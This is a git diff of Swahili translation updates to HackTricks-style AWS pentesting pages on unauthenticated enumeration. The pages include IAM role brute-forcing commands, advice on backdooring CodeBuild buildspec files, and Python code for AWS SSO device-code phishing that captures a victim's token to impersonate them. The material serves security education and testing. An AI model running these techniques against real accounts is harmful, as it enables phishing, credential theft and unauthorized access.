[**conditional-love**](https://github.com/plerionhq/conditional-love/) ili kuendesha uhalifu huu kiotomatiki. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index ce4d0b5a8..8d0d4b65d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Kiole cha URL ya Umma +### Kiolezo cha URL ya Umma ``` https://{random_id}.cloudfront.net ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index 021695426..3e42f2cb5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -12,9 +12,9 @@ Kwa maelezo zaidi angalia ukurasa huu: ### buildspec.yml -Ikiwa unapata ufikiaji wa kuandika juu ya hifadhi inayoshikilia faili inayoitwa **`buildspec.yml`**, unaweza **kufanya backdoor** faili hii, ambayo inaelezea **amri ambazo zitatekelezwa** ndani ya mradi wa CodeBuild na kutoa siri, kuathiri kile kinachofanywa na pia kuathiri **akidi za Credentials za CodeBuild IAM**. +Ikiwa unapata ufikiaji wa kuandika juu ya hifadhi inayoshikilia faili inayoitwa **`buildspec.yml`**, unaweza **kufanya backdoor** faili hii, ambayo inaelezea **amri ambazo zitatekelezwa** ndani ya mradi wa CodeBuild na kutoa siri, kuathiri kile kinachofanywa na pia kuathiri **akili za CodeBuild IAM**. -Kumbuka kwamba hata kama hakuna faili yoyote ya **`buildspec.yml`** lakini unajua Codebuild inatumika (au CI/CD tofauti) **kubadilisha baadhi ya msimbo halali** ambao utafanikishwa pia kunaweza kukuletea shell ya kinyume kwa mfano. +Kumbuka kwamba hata kama hakuna faili yoyote ya **`buildspec.yml`** lakini unajua Codebuild inatumika (au CI/CD tofauti) **kubadilisha baadhi ya msimbo halali** ambao utafanikishwa pia kunaweza kukuletea shell ya kurudi kwa mfano. Kwa maelezo yanayohusiana unaweza kuangalia ukurasa kuhusu jinsi ya kushambulia Github Actions (sawa na hii): @@ -24,10 +24,10 @@ Kwa maelezo yanayohusiana unaweza kuangalia ukurasa kuhusu jinsi ya kushambulia ## Self-hosted GitHub Actions runners in AWS CodeBuild -Kama [**ilivyosemwa katika nyaraka**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), Inawezekana kuunda **CodeBuild** ili kuendesha **Github actions zinazojihudumia** wakati mchakato unapoanzishwa ndani ya hifadhi ya Github iliyowekwa. Hii inaweza kugundulika kwa kuangalia usanidi wa mradi wa CodeBuild kwa sababu **`Aina ya Tukio`** inahitaji kuwa na: **`WORKFLOW_JOB_QUEUED`** na katika Mchakato wa Github kwa sababu itachagua **mwanariadha anayejiendesha** kama hii: +Kama [**ilivyosemwa katika nyaraka**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), Inawezekana kuunda **CodeBuild** ili kuendesha **actions za Github zinazojihifadhi** wakati mchakato unapoanzishwa ndani ya hifadhi ya Github iliyowekwa. Hii inaweza kugundulika kwa kuangalia usanidi wa mradi wa CodeBuild kwa sababu **`Aina ya Tukio`** inahitaji kuwa na: **`WORKFLOW_JOB_QUEUED`** na katika Mchakato wa Github kwa sababu itachagua **mchezaji aliyejihifadhi** kama hii: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` -Husiano huu mpya kati ya Github Actions na AWS unaunda njia nyingine ya kuhatarisha AWS kutoka Github kwani msimbo katika Github utaendesha katika mradi wa CodeBuild wenye jukumu la IAM lililounganishwa. +Uhusiano huu mpya kati ya Github Actions na AWS unaunda njia nyingine ya kuhatarisha AWS kutoka Github kwani msimbo katika Github utaendesha katika mradi wa CodeBuild wenye jukumu la IAM lililounganishwa. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 5ffb2c1b4..ed4b4a217 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## Unauthenticated Cognito -Cognito ni huduma ya AWS inayowezesha waendelezaji **kutoa ufikiaji wa huduma za AWS kwa watumiaji wa programu zao**. Waendelezaji wataweza kutoa **majukumu ya IAM kwa watumiaji walioidhinishwa** katika programu yao (kuna uwezekano watu wataweza kujiandikisha) na wanaweza pia kutoa **jukumu la IAM kwa watumiaji wasioidhinishwa**. +Cognito ni huduma ya AWS inayowezesha waendelezaji **kutoa ufikiaji wa huduma za AWS kwa watumiaji wa programu zao**. Waendelezaji wataweza kutoa **roles za IAM kwa watumiaji walioidhinishwa** katika programu yao (kuna uwezekano watu wataweza kujiandikisha) na wanaweza pia kutoa **role ya IAM kwa watumiaji wasioidhinishwa**. Kwa maelezo ya msingi kuhusu Cognito angalia: @@ -14,20 +14,20 @@ Kwa maelezo ya msingi kuhusu Cognito angalia: ### Kitambulisho cha Hifadhi ya Utambulisho -Hifadhi za Utambulisho zinaweza kutoa **majukumu ya IAM kwa watumiaji wasioidhinishwa** ambao wanajua tu **Kitambulisho cha Hifadhi ya Utambulisho** (ambacho ni rahisi kupata), na mshambuliaji mwenye taarifa hii anaweza kujaribu **kufikia hilo jukumu la IAM** na kulitumia vibaya.\ -Zaidi ya hayo, majukumu ya IAM yanaweza pia kutolewa kwa **watumiaji walioidhinishwa** wanaofikia Hifadhi ya Utambulisho. Ikiwa mshambuliaji anaweza **kujiandikisha kama mtumiaji** au tayari ana **ufikiaji wa mtoa huduma wa utambulisho** anayetumika katika hifadhi ya utambulisho unaweza kufikia **jukumu la IAM linalotolewa kwa watumiaji walioidhinishwa** na kutumia vibaya haki zake. +Hifadhi za Utambulisho zinaweza kutoa **roles za IAM kwa watumiaji wasioidhinishwa** ambao wanajua tu **Kitambulisho cha Hifadhi ya Utambulisho** (ambacho ni rahisi kupata), na mshambuliaji mwenye taarifa hii anaweza kujaribu **kufikia hiyo role ya IAM** na kuitumia vibaya.\ +Zaidi ya hayo, roles za IAM zinaweza pia kutolewa kwa **watumiaji walioidhinishwa** wanaofikia Hifadhi ya Utambulisho. Ikiwa mshambuliaji anaweza **kujiandikisha kama mtumiaji** au tayari ana **ufikiaji wa mtoa huduma wa utambulisho** anayetumika katika hifadhi ya utambulisho, anaweza kufikia **role ya IAM inayotolewa kwa watumiaji walioidhinishwa** na kutumia vibaya haki zake. [**Angalia jinsi ya kufanya hivyo hapa**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). ### Kitambulisho cha Hifadhi ya Watumiaji -Kwa default, Cognito inaruhusu **kujiandikisha kwa mtumiaji mpya**. Kuwa na uwezo wa kujiandikisha kama mtumiaji kunaweza kukupa **ufikiaji** wa **programu ya msingi** au **jukumu la ufikiaji wa IAM lililoidhinishwa la Hifadhi ya Utambulisho** inayokubali kama mtoa huduma wa utambulisho Hifadhi ya Watumiaji ya Cognito. [**Angalia jinsi ya kufanya hivyo hapa**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Kwa kawaida Cognito inaruhusu **kujiandikisha mtumiaji mpya**. Kuwa na uwezo wa kujiandikisha mtumiaji kunaweza kukupa **ufikiaji** wa **programu ya msingi** au **role ya ufikiaji wa IAM iliyothibitishwa ya Hifadhi ya Utambulisho** inayokubali Hifadhi ya Watumiaji ya Cognito. [**Angalia jinsi ya kufanya hivyo hapa**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). ### Moduli za Pacu kwa pentesting na enumeration -[Pacu](https://github.com/RhinoSecurityLabs/pacu), mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli "cognito\_\_enum" na "cognito\_\_attack" ambazo zinafanya otomatiki ya kuhesabu mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia zinafanya otomatiki ya uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za hifadhi ya utambulisho zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika alama za utambulisho, nk. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli "cognito\_\_enum" na "cognito\_\_attack" ambazo zinafanya otomatiki ya kuhesabu mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za watumiaji zinazotumika kwa udhibiti wa ufikiaji, nk., na pia zinafanya otomatiki ya uundaji wa watumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za hifadhi zinazoweza kutumika, roles zinazoweza kuchukuliwa katika token za utambulisho, nk. -Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya [blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Kwa maelekezo ya usakinishaji angalia ukurasa mkuu wa [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Kwa maelekezo ya usakinishaji angalia ukurasa mkuu wa [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Matumizi diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index 5f49dd080..e1c2acbce 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - DynamoDB Unauthenticated Access +# AWS - Upatikanaji wa DynamoDB Bila Uthibitisho {{#include ../../../banners/hacktricks-training.md}} @@ -10,6 +10,6 @@ Kwa maelezo zaidi angalia: ../aws-services/aws-dynamodb-enum.md {{#endref}} -Mbali na kutoa ufikiaji kwa akaunti zote za AWS au baadhi ya akaunti za AWS za nje zilizovunjwa, au kuwa na baadhi ya SQL injections katika programu inayowasiliana na DynamoDB, sijaona chaguzi zaidi za kufikia akaunti za AWS kutoka DynamoDB. +Mbali na kutoa ufikiaji kwa AWS yote au akaunti fulani za AWS za nje zilizovunjwa, au kuwa na baadhi ya SQL injections katika programu inayowasiliana na DynamoDB, sijaona chaguzi zaidi za kufikia akaunti za AWS kutoka DynamoDB. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index d01bf8dd3..83076d295 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -Ikiwa unapata snapshot ambayo inaweza kurejeshwa na mtu yeyote, hakikisha kuangalia [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) kwa maelekezo ya kupakua na kuiba snapshot hiyo. +Ikiwa unapata snapshot ambayo inaweza kurejeshwa na mtu yeyote, hakikisha kuangalia [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) kwa maelekezo juu ya kupakua na kuiba snapshot hiyo. #### Kiolezo cha URL ya Umma ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 47939cd7d..f233b8878 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -19,9 +19,9 @@ aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `tru > [!WARNING] > Hii inaweza pia kutokea katika **registries za kibinafsi** ambapo sera ya registry au sera ya hifadhi inatoa **ufikiaji kwa mfano kwa `"AWS": "*"`**. Mtu yeyote mwenye akaunti ya AWS anaweza kufikia hifadhi hiyo. -### Enumerate Private Repo +### Kuorodhesha Hifadhi Binafsi -Zana [**skopeo**](https://github.com/containers/skopeo) na [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) zinaweza kutumika kuorodhesha hifadhi zinazopatikana ndani ya registry ya kibinafsi. +Zana [**skopeo**](https://github.com/containers/skopeo) na [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) zinaweza kutumika kuorodhesha hifadhi zinazopatikana ndani ya registry binafsi. ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index eb5ae7910..53c8913b5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -18,15 +18,15 @@ Muundo wa kurasa za wavuti za Beanstalk ni **`https://-env. ### Sheria za Kundi la Usalama zisizo Salama -Sheria za kundi la usalama zilizopangwa vibaya zinaweza kufichua mifano ya Elastic Beanstalk kwa umma. **Sheria za kuingia zenye ruhusa kupita kiasi, kama kuruhusu trafiki kutoka anwani yoyote ya IP (0.0.0.0/0) kwenye port nyeti, zinaweza kuwapa washambuliaji ufikiaji wa mfano**. +Sheria za kundi la usalama zilizopangwa vibaya zinaweza kufichua mifano ya Elastic Beanstalk kwa umma. **Sheria za kuingia zenye ruhusa nyingi, kama kuruhusu trafiki kutoka anwani yoyote ya IP (0.0.0.0/0) kwenye bandari nyeti, zinaweza kuruhusu washambuliaji kufikia mfano huo**. -### Balancer ya Load inayopatikana kwa Umma +### Balansi ya Mizigo Inayopatikana Hadharani -Ikiwa mazingira ya Elastic Beanstalk yanatumia balancer ya load na balancer ya load imepangwa kuwa inapatikana kwa umma, washambuliaji wanaweza **kutuma maombi moja kwa moja kwa balancer ya load**. Ingawa hii inaweza kuwa si tatizo kwa programu za wavuti zinazokusudiwa kupatikana kwa umma, inaweza kuwa tatizo kwa programu au mazingira ya kibinafsi. +Ikiwa mazingira ya Elastic Beanstalk yanatumia balansi ya mizigo na balansi ya mizigo imepangwa kuwa inapatikana hadharani, washambuliaji wanaweza **kutuma maombi moja kwa moja kwa balansi ya mizigo**. Ingawa hii huenda isiwe tatizo kwa programu za wavuti zinazokusudiwa kupatikana hadharani, inaweza kuwa tatizo kwa programu au mazingira ya kibinafsi. -### Mifuko ya S3 inayopatikana kwa Umma +### Ndoo za S3 Zinazopatikana Hadharani -Programu za Elastic Beanstalk mara nyingi huhifadhiwa katika mifuko ya S3 kabla ya kutolewa. Ikiwa mfuko wa S3 unaoshikilia programu unapatikana kwa umma, mshambuliaji anaweza **kupakua msimbo wa programu na kutafuta udhaifu au taarifa nyeti**. +Programu za Elastic Beanstalk mara nyingi huhifadhiwa katika ndoo za S3 kabla ya kutolewa. Ikiwa ndoo ya S3 inayoshikilia programu inapatikana hadharani, mshambuliaji anaweza **kupakua msimbo wa programu na kutafuta udhaifu au taarifa nyeti**. ### Tambua Mazingira ya Umma ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index 7f87ae91f..d19f4b98b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -15,24 +15,24 @@ > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Kujaribu **kujifanya kuwa na jukumu bila ruhusa zinazohitajika** kunasababisha ujumbe wa kosa la AWS. Kwa mfano, ikiwa hauna ruhusa, AWS inaweza kurudisha: +Kujaribu **kujifanya kuwa na jukumu bila ruhusa zinazohitajika** kunasababisha ujumbe wa kosa kutoka AWS. Kwa mfano, ikiwa hauna ruhusa, AWS inaweza kurudisha: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` -Hujumuhimu huu unathibitisha uwepo wa jukumu lakini unaonyesha kwamba sera yake ya kudhani jukumu haikuruhusu kudhani. Kinyume chake, kujaribu **kudhani jukumu lisilokuwepo kunasababisha kosa tofauti**: +Ujumbe huu unathibitisha uwepo wa jukumu lakini unaonyesha kwamba sera yake ya kudhani jukumu haikuruhusu kudhani. Kinyume chake, kujaribu **kudhani jukumu lisilokuwepo kunasababisha kosa tofauti**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. +Kwa kushangaza, njia hii ya **kubaini kati ya majukumu yaliyopo na yasiyokuwepo** inatumika hata kati ya akaunti tofauti za AWS. Kwa kutumia ID halali ya akaunti ya AWS na orodha ya maneno iliyolengwa, mtu anaweza kuorodhesha majukumu yaliyopo katika akaunti bila kukutana na vizuizi vyovyote vilivyomo. -You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. +Unaweza kutumia [script hii kuorodhesha wakuu wanaowezekana](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) kwa kutumia tatizo hili. -### Trust Policies: Brute-Force Cross Account roles and users +### Sera za Kuamini: Brute-Force Majukumu na watumiaji wa Akaunti Mbalimbali -Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. +Kuweka au kuboresha **sera ya kuamini ya jukumu la IAM kunahusisha kufafanua ni rasilimali au huduma zipi za AWS zinazoruhusiwa kuchukua jukumu hilo** na kupata akreditif za muda. Ikiwa rasilimali iliyotajwa katika sera **ipo**, sera ya kuamini inahifadhi **kwa mafanikio**. Hata hivyo, ikiwa rasilimali **haiwezi kupatikana**, **kosa linatokea**, likionyesha kuwa mkuu asiye sahihi amewekwa. > [!WARNING] -> Note that in that resource you could specify a cross account role or user: +> Kumbuka kwamba katika rasilimali hiyo unaweza kutaja jukumu au mtumiaji wa akaunti tofauti: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` @@ -54,7 +54,7 @@ Hii ni mfano wa sera: ``` #### GUI -Hiyo ni **kosa** utakalo pata ikiwa utatumia **jukumu ambalo halipo**. Ikiwa jukumu **lipo**, sera itakuwa **imehifadhiwa** bila makosa yoyote. (Kosa ni kwa ajili ya sasisho, lakini pia inafanya kazi wakati wa kuunda) +Hiyo ni **makosa** utakayokutana nayo ikiwa unatumia **jukumu ambalo halipo**. Ikiwa jukumu **lipo**, sera itakuwa **imehifadhiwa** bila makosa yoyote. (Makosa ni kwa ajili ya sasisho, lakini pia inafanya kazi wakati wa kuunda) ![](<../../../images/image (153).png>) @@ -91,19 +91,19 @@ aws iam create-role --role-name Test-Role --assume-role-policy-document file://a aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +Unaweza kuendesha mchakato huu kwa kutumia [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): +Tukitumia [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration +- Rol `admin` iliyotumika katika mfano ni **role katika akaunti yako ambayo itachukuliwa** na pacu ili kuunda sera zinazohitajika kwa ajili ya uainishaji ### Privesc -In the case the role was bad configured an allows anyone to assume it: +Katika kesi ambapo role ilikuwa imewekwa vibaya na inaruhusu mtu yeyote kuichukua: ```json { "Version": "2012-10-17", @@ -118,9 +118,9 @@ In the case the role was bad configured an allows anyone to assume it: ] } ``` -The attacker could just assume it. +Mshambuliaji anaweza tu kudhani hivyo. -## Third Party OIDC Federation +## Ushirikiano wa OIDC wa Tatu Fikiria kwamba umeweza kusoma **Github Actions workflow** inayofikia **role** ndani ya **AWS**.\ Hii imani inaweza kutoa ufikiaji kwa role yenye **trust policy** ifuatayo: @@ -143,7 +143,7 @@ Hii imani inaweza kutoa ufikiaji kwa role yenye **trust policy** ifuatayo: ] } ``` -Hii sera ya kuaminiana inaweza kuwa sahihi, lakini **ukosefu wa masharti zaidi** unapaswa kukufanya usiamini.\ +Sera hii ya kuaminiana inaweza kuwa sahihi, lakini **ukosefu wa masharti zaidi** unapaswa kukufanya usiamini.\ Hii ni kwa sababu jukumu la awali linaweza kuchukuliwa na **MTU YEYOTE kutoka Github Actions**! Unapaswa kubainisha katika masharti pia mambo mengine kama jina la shirika, jina la repo, env, brach... Kukosea kwa uwekaji mwingine ni **kuongeza sharti** kama ifuatavyo: @@ -152,7 +152,7 @@ Kukosea kwa uwekaji mwingine ni **kuongeza sharti** kama ifuatavyo: "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Note that **wildcard** (\*) before the **colon** (:). Unaweza kuunda shirika kama **org_name1** na **assume the role** kutoka kwa Github Action. +Kumbuka kwamba **wildcard** (\*) kabla ya **colon** (:). Unaweza kuunda shirika kama **org_name1** na **assume the role** kutoka kwa Github Action. ## References diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 7b3e4b172..c2fe44373 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -1,33 +1,33 @@ -# AWS - Identity Center & SSO Unauthenticated Enum +# AWS - Kituo cha Utambulisho & SSO Ujumbe Usioidhinishwa {{#include ../../../banners/hacktricks-training.md}} -## AWS Device Code Phishing +## Ulaghai wa Nambari ya Kifaa cha AWS -Kwanza ilipendekezwa katika [**hiki blogu**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), inawezekana kutuma **kiungo** kwa mtumiaji akitumia AWS SSO kwamba ikiwa **mtumiaji atakubali** mshambuliaji ataweza kupata **token ya kujifanya kuwa mtumiaji** na kufikia majukumu yote ambayo mtumiaji anaweza kufikia katika **Identity Center**. +Kwanza ilipendekezwa katika [**hiki blogu**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), inawezekana kutuma **kiungo** kwa mtumiaji akitumia AWS SSO kwamba ikiwa **mtumiaji atakubali** mshambuliaji ataweza kupata **token ya kujifanya kuwa mtumiaji** na kufikia majukumu yote ambayo mtumiaji anaweza kufikia katika **Kituo cha Utambulisho**. Ili kutekeleza shambulio hili, masharti ni: -- Mwathirika anahitaji kutumia **Identity Center** +- Mwathirika anahitaji kutumia **Kituo cha Utambulisho** - Mshambuliaji lazima ajue **subdomain** inayotumiwa na mwathirika `.awsapps.com/start` -Kwa kutumia taarifa hizo, **mshambuliaji ataweza kutuma kiungo kwa mtumiaji** kwamba ikiwa **kikubali** kitampa **mshambuliaji ufikiaji wa akaunti ya mtumiaji wa AWS**. +Kwa kutumia taarifa hizo, **mshambuliaji ataweza kutuma kiungo kwa mtumiaji** kwamba ikiwa **kikubali** itampa **mshambuliaji ufikiaji wa akaunti ya mtumiaji wa AWS**. -### Attack +### Shambulio 1. **Kupata subdomain** -Hatua ya kwanza ya mshambuliaji ni kugundua subdomain ambayo kampuni ya mwathirika inatumia katika Identity Center yao. Hii inaweza kufanywa kupitia **OSINT** au **kukisia + BF** kwani kampuni nyingi zitakuwa zikitumika jina lao au toleo la jina lao hapa. +Hatua ya kwanza ya mshambuliaji ni kugundua subdomain ambayo kampuni ya mwathirika inatumia katika Kituo chao cha Utambulisho. Hii inaweza kufanywa kupitia **OSINT** au **kukisia + BF** kwani kampuni nyingi zitakuwa zikitumika jina lao au toleo la jina lao hapa. -Kwa kutumia taarifa hii, inawezekana kupata eneo ambapo Identity Center ilipangwa: +Kwa kutumia taarifa hii, inawezekana kupata eneo ambapo Kituo cha Utambulisho kilikamilishwa: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` -2. **Tengeneza kiungo kwa mwathirika & Tuma** +2. **Tengeneza kiungo kwa ajili ya mwathirika & Tuma** Run the following code to generate an AWS SSO login link so the victim can authenticate.\ -Kwa ajili ya onyesho, run this code in a python console and do not exit it as later you will need some objects to get the token: +For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: ```python import boto3 @@ -52,18 +52,18 @@ url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` -Tuma kiungo kilichoundwa kwa mwathiriwa ukitumia ujuzi wako mzuri wa uhandisi wa kijamii! +Tuma kiungo kilichoundwa kwa mwathirika ukitumia ujuzi wako mzuri wa uhandisi wa kijamii! -3. **Subiri hadi mwathiriwa akubali** +3. **Subiri hadi mwathirika akubali** -Ikiwa mwathiriwa alikuwa **ameingia tayari kwenye AWS** atahitaji tu kukubali kutoa ruhusa, ikiwa hakuwa, atahitaji **kuingia na kisha kukubali kutoa ruhusa**.\ -Hii ndiyo jinsi ya kuonyesha inavyoonekana siku hizi: +Ikiwa mwathirika alikuwa **ameingia tayari kwenye AWS** atahitaji tu kukubali kutoa ruhusa, ikiwa hakuwa, atahitaji **kuingia na kisha kukubali kutoa ruhusa**.\ +Hii ndiyo jinsi ujumbe unavyoonekana siku hizi:
4. **Pata token ya SSO** -Ikiwa mwathiriwa alikubali kuonyesha,endesha hii code ili **kuunda token ya SSO kwa kujifanya kama mtumiaji**: +Ikiwa mwathirika alikubali ujumbe, endesha hii code ili **kuunda token ya SSO kwa kujifanya kuwa mtumiaji**: ```python token_response = sso_oidc.create_token( clientId=client_id, @@ -73,7 +73,7 @@ deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` -The SSO access token is **valid for 8h**. +Token ya ufikiaji wa SSO ni **halali kwa masaa 8**. 5. **Jifanya kuwa mtumiaji** ```python @@ -104,7 +104,7 @@ sts_creds.get('roleCredentials') ``` ### Phishing the unphisable MFA -Ni furaha kujua kwamba shambulio la awali **linafanya kazi hata kama "MFA isiyoweza kudanganywa" (webAuth) inatumika**. Hii ni kwa sababu **mchakato wa awali hauondoki kwenye eneo la OAuth lililotumika**. Si kama katika shambulio zingine za phishing ambapo mtumiaji anahitaji kubadilisha eneo la kuingia, katika kesi ambapo mchakato wa nambari ya kifaa umeandaliwa hivyo **nambari inajulikana na kifaa** na mtumiaji anaweza kuingia hata kwenye mashine tofauti. Ikiwa ombi litakubaliwa, kifaa, kwa **kujua nambari ya awali**, kitakuwa na uwezo wa **kurejesha akreditivu** za mtumiaji. +Ni furaha kujua kwamba shambulio la awali **linafanya kazi hata kama "unphisable MFA" (webAuth) inatumika**. Hii ni kwa sababu **mchakato wa awali 